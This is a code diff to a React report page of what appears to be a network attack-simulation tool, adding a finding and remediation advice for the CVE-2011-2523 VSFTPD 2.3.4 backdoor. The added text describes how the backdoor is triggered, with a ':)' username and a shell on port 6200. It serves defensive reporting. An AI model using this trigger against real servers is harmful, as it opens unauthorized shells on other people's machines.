                     {this.state.report.overview.issues.filter(function (x) {
                       return x === true;
                     }).length} threats</span>:
                 <ul>
                   {this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ?
-                    <li>Stolen SSH keys are used to exploit other machines.</li> : null }
+                    <li>Stolen SSH keys are used to exploit other machines.</li> : null }                  
                   {this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ?
                     <li>Stolen credentials are used to exploit other machines.</li> : null}
                   {this.state.report.overview.issues[this.Issue.ELASTIC] ?
                     <li>Elasticsearch servers are vulnerable to <a
                       href="https://www.cvedetails.com/cve/cve-2015-1427">CVE-2015-1427</a>.
                     </li> : null}
+                  {this.state.report.overview.issues[this.Issue.VSFTPD] ?
+                    <li>VSFTPD is vulnerable to <a
+                      href="https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor">CVE-2011-2523</a>.
+                    </li> : null}
                   {this.state.report.overview.issues[this.Issue.SAMBACRY] ?
                     <li>Samba servers are vulnerable to ‘SambaCry’ (<a
                       href="https://www.samba.org/samba/security/CVE-2017-7494.html"
@@ -422,6 +427,7 @@ class ReportPageComponent extends AuthComponent {
     );
   }
 
+
   generateReportGlanceSection() {
     let exploitPercentage =
       (100 * this.state.report.glance.exploited.length) / this.state.report.glance.scanned.length;
@@ -681,6 +687,28 @@ class ReportPageComponent extends AuthComponent {
     );
   }
 
+  generateVsftpdBackdoorIssue(issue) {
+    return (
+      <li>
+        Update your VSFTPD server to the latest version vsftpd-3.0.3.
+        <CollapsibleWellComponent>
+          The machine <span className="label label-primary">{issue.machine}</span> (<span
+          className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) has a backdoor running at port  <span
+          className="label label-danger">6200</span>.
+          <br/>
+          The attack was made possible because the VSFTPD server was not patched against CVE-2011-2523.
+          <br/><br/>In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been compromised.
+          Users logging into a compromised vsftpd-2.3.4 server may issue a ":)" smileyface as the username and gain a command shell on port 6200.
+          <br/><br/>
+          The Monkey executed commands by first logging in with ":)" in the username and then sending commands to the backdoor at port 6200.
+          <br/><br/>Read more about the security issue and remediation <a
+                      href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523"
+                    >here</a>.
+        </CollapsibleWellComponent>
+      </li>
+    );
+  }
+
   generateElasticIssue(issue) {
     return (
       <li>
@@ -896,6 +924,9 @@ generateMSSQLIssue(issue) {
   generateIssue = (issue) => {
     let data;
     switch (issue.type) {
+      case 'vsftp':
+        data = this.generateVsftpdBackdoorIssue(issue);
+        break;
       case 'smb_password':
         data = this.generateSmbPasswordIssue(issue);
         break;